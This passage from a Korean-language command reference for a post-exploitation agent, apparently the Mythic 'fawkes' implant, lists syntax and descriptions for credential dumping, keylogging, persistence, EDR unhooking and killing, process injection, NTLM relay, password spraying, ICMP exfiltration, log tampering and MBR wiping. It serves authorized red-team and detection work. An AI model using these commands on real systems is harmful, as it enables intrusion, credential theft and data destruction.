jxa | `jxa -code '<script>' [-timeout 60]` 또는 `jxa -file /path/to/script.js` | **(macOS 전용)** Foundation, AppKit, Security 프레임워크에 대한 ObjC 브리지 액세스로 JavaScript for Automation (JXA) 스크립트 실행. 인라인 코드 및 파일 입력 지원 (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | SPN 계정에 대한 TGS 티켓을 요청하고 오프라인 크래킹을 위해 hashcat 형식으로 해시 추출. LDAP을 통해 자동 열거. 크로스 플랫폼 (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Kerberos 티켓 열거, 덤프, 제거 및 가져오기. 가져오기를 통해 패스더티켓 활성화: Windows는 LSA에 kirbi 주입, Linux/macOS는 ccache를 쓰고 KRB5CCNAME 설정. 크로스 플랫폼 (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(macOS 전용)** macOS 키체인 액세스 — 키체인 나열, 메타데이터 덤프, 일반/인터넷 비밀번호 찾기, 인증서 열거.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Kerberos 위임 관계 열거 — 제한되지 않음, 제한됨 (프로토콜 전환 포함), RBCD. **monitor** 작업 (Windows/SYSTEM 전용)은 LSA에서 들어오는 TGT를 폴링하고 kirbi blob으로 내보냅니다. monitor를 제외한 크로스 플랫폼 (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 저수준 키보드 로거. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Ctrl+V/Cmd+V 붙여넣기 이벤트를 감지하고 클립보드 콘텐츠 캡처. 모든 플랫폼에서 창 컨텍스트 추적 (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | 대상에 대한 측면 이동 옵션 테스트 — SMB, WinRM, RDP, RPC, SSH 연결을 확인하고 적절한 방법 제안. 크로스 플랫폼 (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | 로그인 기록, 실패한 로그인 시도 및 시스템 부팅/종료 이벤트 표시. Linux: wtmp/btmp 파싱. Windows: 보안/시스템 이벤트 로그. macOS: 네이티브 `last` + 통합 로그. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | LDAP을 통해 Active Directory 쿼리. 사용자, 컴퓨터, 그룹, 도메인 관리자, 모든 관리자(adminCount), SPN, AS-REP 로스팅 가능, 비활성화된 계정, GPO, OU, 비밀번호 만료 없음, 도메인 트러스트, 제한되지 않은/제한된 위임, DACL 분석, gMSA 비밀번호 추출, BloodHound CE v6 수집(그래프 분석을 위한 사용자/컴퓨터/그룹/OU/GPO/트러스트) 또는 사용자 정의 LDAP 필터를 위한 사전 설정 쿼리. 크로스 플랫폼 (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | LDAP을 통해 AD 개체 수정. 그룹 구성원, 특성, SPN, 계정 활성화/비활성화, 비밀번호 재설정, 섀도 자격 증명, 머신 계정 생성, RBCD 위임, 개체 삭제. GPO 남용: 예약된 작업(gpo-task) 또는 시작 스크립트(gpo-script) 주입. ADCS: ESC1/ESC4 익스플로잇을 위한 인증서 템플릿 수정. 크로스 플랫폼 (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | PID로 프로세스 종료. 크로스 플랫폼 (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | LDAP을 통해 AD에서 LAPS 비밀번호 읽기. LAPS v1 (ms-Mcs-AdmPwd) 및 Windows LAPS v2 (ms-LAPS-Password) 지원. 크로스 플랫폼 (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Windows 전용)** LSA 시크릿 (서비스 비밀번호, DPAPI 키, 머신 계정) 및 캐시된 도메인 자격 증명 (DCC2/MSCacheV2 hashcat 형식) 추출. SYSTEM 필요 (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(macOS 전용)** LaunchAgent/LaunchDaemon 지속성 설치, 제거 또는 나열. RunAtLoad+KeepAlive로 plist 생성.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | 내부 피벗을 위해 TCP 또는 명명된 파이프를 통해 P2P 에이전트에 연결. 명명된 파이프 모드는 은밀한 Windows 트래픽을 위해 SMB 포트 445를 사용. 크로스 플랫폼 TCP, Windows 전용 명명된 파이프 (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | 심볼릭 또는 하드 링크 생성. 심볼릭 링크는 존재하지 않는 경로를 가리킬 수 있음. 강제 모드는 기존 링크를 대체. 크로스 플랫폼 (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Linux 전용)** Linux 로그 파일 및 바이너리 로그인 레코드(wtmp/btmp/utmp) 나열, 읽기, 지우기 또는 변조. 선택적 줄 제거 및 안전한 분쇄 지원 (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** 활성 로그온 세션 열거 — 사용자, 세션 ID, 스테이션, 연결 상태. 사용자 이름으로 필터링. Windows: WTS API. Linux: utmp 파싱. macOS: utmpx 파싱.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** LOLBin/GTFOBin 프록시 실행. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. 크로스 플랫폼: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | 소유자/그룹 및 타임스탬프와 함께 파일 및 폴더 나열. 파일 브라우저 통합. 기본값은 cwd.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Windows 전용)** 자격 증명에서 토큰 생성: 가장, 프로세스 생성 또는 **auto-verify** (가장 후 whoami + getprivs 체인) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | 파일 위장 및 숨기기 — 파일 위장 (이중 확장자, RtLO, 공백, 프로세스 일치) 또는 열거에서 숨기기 (숨기기/숨기기 해제). Windows: +H/+S 속성. Linux: 점 접두사. macOS: UF_HIDDEN + 점 접두사 (T1036, T1564.001).
mkdir | `mkdir <directory>` | 새 디렉토리 생성 (필요한 경우 상위 디렉토리도 생성).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Windows 전용)** 합법적인 DLL의 .text 섹션을 스톰핑하여 셸코드 주입. 셸코드는 서명된 DLL 주소 공간에서 실행되어 개인 메모리 탐지를 우회 (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | 선택적 이름 필터링으로 프로세스의 로드된 모듈/DLL/라이브러리 나열. 크로스 플랫폼 (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | 16진수 덤프 출력으로 바이트 패턴에 대한 프로세스 메모리 검색. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (자체 스캔 전용). 문자열 및 16진수 패턴 지원. 크로스 플랫폼 (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | 장치, 마운트 지점, 유형 및 옵션과 함께 마운트된 파일 시스템 나열. 이름 또는 파일 시스템 유형으로 필터링 지원. 크로스 플랫폼 (T1082).
mv | `mv <source> <destination>` | 파일을 소스에서 대상으로 이동 또는 이름 변경.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** IPC 검색을 위한 명명된 파이프(Windows), Unix 도메인 소켓 및 FIFO(Linux/macOS) 나열. 하위 문자열 필터링 지원 (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** 크로스 플랫폼 네트워크 열거. 사용자, 그룹, 그룹 구성원, 관리자, 세션, 공유. Windows: Win32 NetAPI (도메인 쿼리, 매핑된 드라이브). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | LDAP을 통해 AD 그룹 구성원 열거. 재귀 구성원 확인, 사용자 그룹 조회, 권한 있는 그룹 열거. 크로스 플랫폼 (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | 로컬 사용자 계정 및 그룹 구성원 관리. Windows: netapi32 API. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. T1531 랜섬웨어 시뮬레이션을 위한 비활성화/활성화/잠금. 크로스 플랫폼 (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | 프로토콜, 상태, PID 및 프로세스 이름과 함께 활성 네트워크 연결 및 수신 포트 나열. 상태, 프로토콜, 포트 및 프로세스 ID로 필터링 지원. 크로스 플랫폼.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Windows 전용)** 깨끗한 복사본에서 .text 섹션을 복원하여 DLL에서 EDR 인라인 후크 제거. 5개의 DLL 또는 `all` 지원. `check`는 수정 없이 후크를 보고. `knowndlls` 소스는 \\KnownDlls\\ 섹션 개체를 사용 (디스크 I/O 방지 — 더 OPSEC 친화적) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Windows 전용)** 간접 시스템 콜 해석기. ntdll 내보내기를 파싱하여 Nt* 시스템 콜 번호를 확인하고 ntdll의 syscall;ret 가젯으로 점프하는 스텁을 생성. 활성화되면 주입 명령이 사용자랜드 API 후크를 우회 (T1106).
opus-injection | `opus-injection` | **(Windows 전용)** 콜백 기반 프로세스 주입. 변형 1: Ctrl-C 처리기 체인. 변형 4: PEB KernelCallbackTable. [세부 정보](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** 지속성 설치 또는 제거. Windows: 레지스트리, 시작 폴더, COM 하이잭, 화면 보호기, IFEO, winlogon, 프린트 프로세서, 접근성, active-setup, 시간 공급자, 포트 모니터, WMI 이벤트 (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, 스캔/설치/제거), xpc-service (MachServices + KeepAlive). 모든 방법은 설치/제거/나열 지원.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** 지속성 메커니즘의 읽기 전용 열거. Windows: 레지스트리, 시작, 작업, 서비스. Linux: cron, systemd, 셸 프로필, SSH 키, LD_PRELOAD, udev 규칙, 커널 모듈, motd, at 작업, D-Bus 서비스, PAM 모듈, 패키지 후크, logrotate 스크립트, NetworkManager 디스패처, anacron. macOS: LaunchAgents, 로그인 항목, 주기적 스크립트, 인증 플러그인, emond, at 작업 (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | 비밀번호 관리자 데이터베이스 및 구성 파일 검색 — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. 크로스 플랫폼 (T1555).
poolparty-injection | `poolparty-injection` | **(Windows 전용)** Windows 스레드 풀 내부를 남용하는 PoolParty 기법을 사용하여 셸코드 주입. 8가지 변형 모두 지원. [세부 정보](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` 또는 `ping -action exfil-icmp -target <IP> -file <path>` | TCP 연결 호스트 연결 가능성 (T1018) + XOR 인코딩 및 지터가 있는 에코 요청 페이로드를 통한 ICMP 데이터 유출 (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Windows 전용)** 권한 상승을 위한 명명된 파이프 가장. 파이프 서버 생성, 권한 있는 클라이언트 연결 대기, 토큰 가장. SeImpersonatePrivilege 필요 (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Windows 전용)** PrintSpoofer 권한 상승 — SeImpersonate에서 SYSTEM으로 via Print Spooler. 명명된 파이프 생성, OpenPrinterW를 통해 스풀러 연결 트리거, SYSTEM 토큰 가장. 원스텝 NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | 설치된 패키지 및 소프트웨어 나열. dpkg/rpm/apk (Linux), Homebrew/Applications (macOS) 또는 레지스트리 제거 키(Windows) 열거. 이름 필터링 지원. 크로스 플랫폼 (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | 네트워크 서비스 검색을 위한 TCP 연결 스캔. CIDR, IP 범위 및 포트 범위 지원. 크로스 플랫폼.
powershell | `powershell <command> [--encoded]` | **(Windows 전용)** OPSEC 강화 플래그(축약, 무작위화)로 powershell.exe를 통해 PowerShell 명령 실행. 인코딩된 명령 모드는 프로세스 트리에서 인수를 숨깁니다.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Windows 전용)** Windows Prefetch 파일 구문 분석 및 관리. 실행된 프로그램 나열, 실행 기록 구문 분석(최대 8개 타임스탬프), 특정 항목 삭제 또는 모두 지우기. MAM 압축 파일 지원 (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | 권한 상승 열거 및 익스플로잇. `auto-escalate`: 자동화된 하위 작업 체인 — 모든 벡터를 열거한 다음 최상의 사용 가능한 상승 시도(UAC 우회, 토큰 도용 또는 sudo). `hijack-execute`: 자동화된 프록시 DLL 팩토리 — 대상 DLL 내보내기 읽기, 서버가 셸코드가 포함된 프록시 DLL 컴파일(mingw). `hijack-deploy`: 프록시 DLL 배포(원본 이름 변경, 프록시 배치). `hijack-trigger`: 하이잭 트리거 — 서비스 다시 시작(`-trigger restart -service_name <svc>`) 또는 프로세스 생성(`-trigger spawn -source <exe>`)하여 프록시 DLL 로드. `hijack-cleanup`: 배포된 하이잭 되돌리기(프록시 삭제, 원본 복원). Windows: 토큰 권한, 따옴표 없는 서비스, AlwaysInstallElevated, 자동 로그온, UAC, unattend 파일, DLL 하이잭 스캐닝(팬텀 DLL, 쓰기 가능 PATH, KnownDLLs), 타임스탬프 조작이 있는 DLL 플랜팅, DLL 사이드로딩, PE 내보내기 열거(dll-exports with DEF 파일 생성), 서비스 레지스트리 권한 남용. Linux: SUID/SGID, 역량, sudo, 컨테이너, cron 하이재킹, NFS no_root_squash, systemd 유닛, sudo 토큰, PATH 하이재킹, docker 그룹, 위험한 그룹, Polkit 규칙, modprobe 후크, ld.so.preload 주입, 보안 모듈(AppArmor/SELinux). macOS: LaunchDaemons, TCC, dylib 하이재킹, SIP. 크로스 플랫폼 (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` 또는 `psexec -action check -host <target>` | **(Windows 전용)** SCM 서비스 생성을 통해 원격 호스트에서 명령 실행 — PSExec 스타일 측면 이동. `check`는 실행 없이 사전 요구 사항(SMB 445, SCM 액세스, 관리자 공유)을 확인. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Linux 전용)** 심층 /proc 검사: 프로세스 세부 정보(cmdline, env, caps, cgroups, 네임스페이스, FD), PID 확인이 포함된 네트워크 연결, 마운트, 커널 모듈. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Windows 전용)** 프로세스 완화 정책 조회 또는 설정 (DEP, ASLR, CIG, ACG, CFG). CIG 설정으로 서명되지 않은 DLL 로딩 차단 (EDR 방어). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | 부모-자식 관계와 함께 프로세스 계층 구조를 트리로 표시. 주입 대상 및 보안 도구 식별에 도움. 크로스 플랫폼 (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | 프로세스 메모리 덤프. Windows: MiniDumpWriteDump with LSASS 자동 검색. Linux: /proc/pid/mem 영역 덤핑. Search 작업은 자격 증명을 보유한 프로세스를 찾습니다. Mythic에 업로드하고 디스크에서 정리. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | 환경 변수, OS 구성(레지스트리, 구성 파일) 및 Go 전송에서 프록시 설정 탐지. 선택적 연결 테스트. 크로스 플랫폼 (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Mythic 프로세스 브라우저 통합으로 실행 중인 프로세스 나열. 이름, PID, 부모 PID 또는 사용자 이름으로 필터링. 크로스 플랫폼.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Linux 전용, amd64/arm64)** ptrace를 통한 프로세스 주입 — PTRACE_ATTACH/POKETEXT/SETREGS with register and code restore. Yama ptrace_scope 사전 확인 및 실행 가능한 지침. Check 모드는 ptrace_scope, 역량 및 후보를 보고 (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Mythic의 대화형 태스킹을 통해 대화형 PTY 셸 세션 시작. 양방향 I/O와 완전한 터미널 에뮬레이션 (T1059).
pwd | `pwd` | 작업 디렉토리 출력.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Windows 전용)** DLL 함수 주소에서 바이트 읽기.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Windows 전용)** 통합 레지스트리 작업 — 읽기, 쓰기, 삭제, 검색 및 하이브 저장 (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | SMB 명명된 파이프를 통한 WinReg RPC로 원격 Windows 호스트의 레지스트리 읽기/쓰기. 패스더해시 지원. 크로스 플랫폼 (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | SVCCTL RPC를 통해 원격 Windows 호스트에서 서비스 관리. 표준 작업 + 고급 측면 이동: modify-path (기존 서비스 binpath 하이재킹), trigger (트리거 시작 서비스 생성), dll-sideload (ServiceDll 레지스트리 하이재킹). 패스더해시. 크로스 플랫폼 (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Windows 전용)** 활성 가장 토큰을 삭제하여 원래 보안 컨텍스트로 되돌리기.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | 선택적 필터링으로 시스템 라우팅 테이블 표시. Windows: GetIpForwardTable API, Linux: /proc/net/route + IPv6, macOS: netstat -rn. 크로스 플랫폼 (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | 포트 포워딩: 역방향(Mythic이 대상으로 라우팅) 또는 정방향(에이전트가 내부 대상으로 릴레이). 크로스 플랫폼 (T1090).
rm | `rm [-path <path>] [-secure true]` | 파일 또는 디렉토리 제거. `-secure true`는 삭제 전에 임의 데이터로 덮어쓰기(3회 패스)하여 포렌식 복구 방지 (T1070.004).
run | `run <command>` | 셸 명령을 실행하고 출력 반환.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | 다른 사용자로 명령 실행. Windows: CreateProcessWithLogonW (/netonly 지원). Linux/macOS: root로 setuid 또는 sudo -S with password. 크로스 플랫폼 (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | 예약된 작업 관리. Windows: 작업 스케줄러 COM API. Linux: crontab, systemd 타이머, at 작업. macOS: LaunchAgents/LaunchDaemons, crontab, at. 크로스 플랫폼 (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | 단일 스크린샷 캡처 또는 간격을 두고 연속 스크린샷 기록. PNG로 업로드. record 모드: 구성 가능한 간격/지속 시간/최대 프레임, jobkill로 중지 가능. Windows: GDI. macOS: screencapture. Linux: X11/Wayland 자동 탐지. 크로스 플랫폼 (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | 파일에서 시크릿, API 키, 개인 키, 연결 문자열 및 민감한 패턴 검색. 42개의 정규식 패턴(AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI 등)과 값 편집. 깊이 제한 디렉토리 탐색, 노이즈 디렉토리 건너뛰기. 크로스 플랫폼 (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | 파일 안전하게 삭제, 데이터 지우기 또는 부트 레코드 파괴. `delete`: 임의 덮어쓰기 + 제거. `wipe`: 공격적인 패턴 파괴 (T1485). `wipe-mbr`: 원시 디스크 장치의 MBR/GPT 부트 레코드 덮어쓰기 (T1561). 안전 게이트 필요. 크로스 플랫폼 (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | 보안 태세 및 활성 제어 보고, EDR/XDR 제품 탐지(20개 이상 공급업체), 미니필터 드라이버를 EDR 분류와 함께 열거 또는 로드된 커널 드라이브를 EDR/콜백 분석과 함께 나열. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). 크로스 플랫폼 (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | 네트워크 스니핑, 포이즈닝 및 NTLM 릴레이. `capture`: 수동 자격 증명 추출 (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: SMB+HTTP 해시 캡처가 포함된 활성 응답기 — hashcat 모드 5600의 NTLMv2 해시. `relay`: 대상 SMB로 NTLM 릴레이. `ldap-relay`: 대상 LDAP로 NTLM 릴레이, 사후 인증 작업 포함(whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | 여러 호스트에서 SMB 공유를 크롤링하여 민감한 파일(자격 증명, 구성, 스크립트) 검색. 패스더해시 지원과 함께 재귀 디렉토리 검색. 크로스 플랫폼 (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | 원격 공유에서 SMB2 파일 작업 — 나열, 찾아보기, 읽기/쓰기/삭제, 측면 도구 전송을 위한 push, 데이터 유출을 위한 exfil, 파일 심기를 위한 taint. **share-perms**: 모든 공유에서 읽기/쓰기 액세스 테스트. **share-spider**: 깊이/확장자 필터가 포함된 재귀 디렉토리 나열. **share-search**: 기본 제공 또는 사용자 정의 패턴을 사용하여 공유에서 민감한 파일 찾기. NTLM 인증 + 패스더해시. 크로스 플랫폼 (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** 서비스 관리 + EDR/AV 대상 지정. `edr-enum`: 설치된 보안 서비스 탐지(60개 이상 시그니처). `edr-kill`: 탐지된 EDR 중지+비활성화 (안전 게이트 필요). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | 에이전트 프로세스에서 환경 변수 설정 또는 해제. 크로스 플랫폼.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | 셸 기록 읽기, 셸 구성 파일 나열/읽기/주입/제거/지우기. Linux/macOS: bashrc/zshrc. Windows: PowerShell 프로필 + PSReadLine 기록. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` 또는 `sleep -interval 60 -jitter 30 -jitter_profile normal` | 콜백 간격, 지터, 근무 시간 및 지터 분포 프로필(uniform/normal/exponential) 설정. Normal 분포는 간격 주변에 클러스터링됨; exponential은 버스티한 인간 패턴을 모방.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | SOCKS5 프록시 시작, 중지, 통계 보기 또는 대역폭 설정. DNS/UDP 도구를 프록시를 통한 릴레이를 위한 TCP CONNECT 및 UDP ASSOCIATE (RFC 1928) 지원. 선택적 연결당 대역폭 제한(KB/s). 통계는 활성 연결, 바이트 TX/RX, 최근 기록 표시.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | 파일 줄 정렬. 알파벳, 숫자, 역방향 및 고유 모드 지원. 크로스 플랫폼 (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Windows 전용)** 주입을 위해 일시 중단된 프로세스 또는 스레드 생성. PPID 스푸핑 (T1134.004) 및 비Microsoft DLL 차단 지원.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Kerberos 사전 인증, LDAP 바인딩 또는 SMB 인증을 통해 AD에 대한 비밀번호 스프레이. SMB는 패스더해시 지원. 잠금 인식, 구성 가능한 지연/지터. 크로스 플랫폼 (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | 명령 실행, 파일 푸시 또는 SSH 터널 생성. `check`는 SSH 사전 요구 사항(포트, 인증, 셸)을 확인. tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). 크로스 플랫폼 (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Linux/macOS 전용)** SSH 에이전트 소켓 열거 및 로드된 키 나열. SSH_AUTH_SOCK 발견, /tmp/ssh-*, /run/user/*, GNOME keyring 스캔. 자격 증명 보관소에 키 지문 보고 (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | SSH 키 관리 및 측면 이동 자동화. authorized_keys 읽기/주입, 개인 키 읽기, 키 쌍 생성, SSH 구성 열거. 측면 이동: find-reachable (서브넷 스캔), try-keys (키 테스트), auto-move (체인 스캔→인증→실행). Windows: PuTTY 세션/레지스트리, .ppk 키, WSL, OpenSSH, Git SSH 구성. 크로스 플랫폼 (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | 파일/디렉토리 메타데이터 표시: 유형, 크기, 권한, 타임스탬프. 플랫폼별 세부 정보 — inode/소유자 (Linux/macOS), 파일 속성 (Windows). Lstat을 통한 심볼릭 링크 인식. 크로스 플랫폼 (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | 파일에서 인쇄 가능한 ASCII 문자열 추출. 바이너리에서 포함된 텍스트, URL, 자격 증명 찾기. 패턴 필터, 최소 길이 제어, 오프셋/max_size. 크로스 플랫폼 (T1005).
